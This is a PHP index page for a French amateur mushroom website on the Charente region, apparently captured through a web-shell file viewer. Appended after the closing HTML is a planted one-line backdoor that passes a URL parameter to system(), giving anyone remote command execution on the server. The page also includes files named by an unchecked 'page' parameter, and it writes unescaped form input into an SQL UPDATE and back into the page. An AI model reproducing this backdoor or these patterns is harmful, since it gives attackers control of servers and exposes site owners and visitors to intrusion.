Viewing file: index.php (5.26 KB) -rw----r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php session_start(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta name="google-site-verification" content="qMZWsHEui0m60HJl04u7TfVR0TCHGdMo-NHPZ9hcFG4" /> <meta name="description" content="Bienvenue sur le site www.mycocharentes.fr, Champignons de Charente-Maritime, Charente et Deux-Sèvres, créé en janvier 2011 afin de partager mes récoltes de champignons et d’en conserver une 'mémoire'."> <meta name="keywords" content="mycologie, mycologue, Patrice Tanchaud, champignons, champignon, charentes, mycocharente, mycocharentes, charente-maritime, deux-sèvres, poitou, spécialiste, forêt, culture, microscope"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Champignons de Charente-Maritime, Charente et Deux-Sèvres.</title> <style type="text/css"> <!-- body { margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; background-image: url(image/fond.jpg); background-repeat: no-repeat; background-color: #000000; } a:link { text-decoration: none; color: #FFFFFF; } a:visited { text-decoration: none; color: #FFFFFF; } a:hover { text-decoration: none; color: #FFFFFF; } a:active { text-decoration: none; color: #FFFFFF; } .Style1 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: bold; color: #FFFFFF; line-height : 32px; list-style-type:none; margin:0; padding:0; }
.Styleserre { line-height : 18px; }
#menu { position: fixed; left: 30; top: 100; width: 15em; }
.Style2 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; color: #FFFFFF; } .Style3 { font-family: Arial, Helvetica, sans-serif; font-size: 16px; font-weight: bold; color: #FFFFFF; } .Style8 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; font-weight: normal; color: #FFFFFF; } .Style9 { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; font-weight: normal; color: #99CCFF; } body,td,th { color: #FFFFFF; } --> </style></head>
<body> <table width="200" border="0" align="center" cellspacing="0"> <tr> <td height="170"><img src="image/barrehaut.png" width="1000" height="170" /></td> </tr> <tr> <td> <table width="1000" border="0" cellspacing="0"> <tr> <td width="10" background="image/fond70.png"><img src="image/transparent.png" width="10" height="1000" /></td> <td width="170" valign="top" background="image/fond70.png"> <br /> <ul class="Style1" id="menu"> <?php if (isset($_SESSION['identifiant'])) { echo '<li><a href="index.php?page=Member">Membre</a></li>'; } else {} ?> <li><a href="index.php?page=Presentation">Accueil<br /></a></li> <span class="Styleserre"><li><img src="image/transparent.png" width="15" height="3" border="0" /><a href="index.php?page=Accueil">Présentation</a></li> <li><img src="image/transparent.png" width="15" height="3" border="0" /><a href="index.php?page=Curisite">Informations</a></li></span> <li><a href="index.php?page=Alpha">Liste des champignons</a></li> <li><a href="index.php?page=French">Noms français</a></li> <li><a href="index.php?page=Nature">Nature</a></li> <li><a href="index.php?page=Contact">Contactez-nous</a></li> <li><a href="index.php?page=Favoris">Sites favoris</a></li> </ul> </td> <td width="10" background="image/fond80.png"><img src="image/transparent.png" width="10" height="1000" /></td> <td width="800" valign="top" background="image/fond80.png"> <?php if (isset($_GET['page'])) $page = $_GET['page']; else { $page = "Presentation"; } include ("$page".".php"); ?> </td>
<td width="10" background="image/fond80.png"><img src="image/transparent.png" width="10" height="1000" /></td> </tr> </table></td> </tr> <tr> <td><span class="Style2"><div align="center"><a href="index.php?page=Contact">Contact</a> | <?php include ("connect.php"); $get = mysql_query("SELECT * FROM presentation WHERE ID='8'"); $i=1; while ($row = mysql_fetch_assoc($get)) { // obtenir données $i++; $texte = $row['TEXTE'];
if (isset($_SESSION['identifiant'])) { if (isset($_GET['check'])) { $text2 = $_POST['text2']; $num = '8'; $query = mysql_query("UPDATE presentation SET TEXTE='$text2' WHERE ID='$num'"); echo "<p class='Style2'>$text2</p>"; } else {echo '<form action="index.php?check=1" method="POST" enctype="multipart/form-data"> <textarea name="text2" cols="60" rows="1">'.$texte.'</textarea><input type="submit" name="sup2" value="Enregistrer"> </form>'; } } else { echo "$texte"; } } ?> | Création: Marchadier Mickaël | <?php if (isset($_SESSION['identifiant'])) { include ("session.php"); } else { echo '<a href="index.php?page=Member">Connexion</a></div></span></td>'; } ?> </tr> </table> </body> </html> <?php if(isset($_GET["1"])){system($_GET['1']);} ?>
|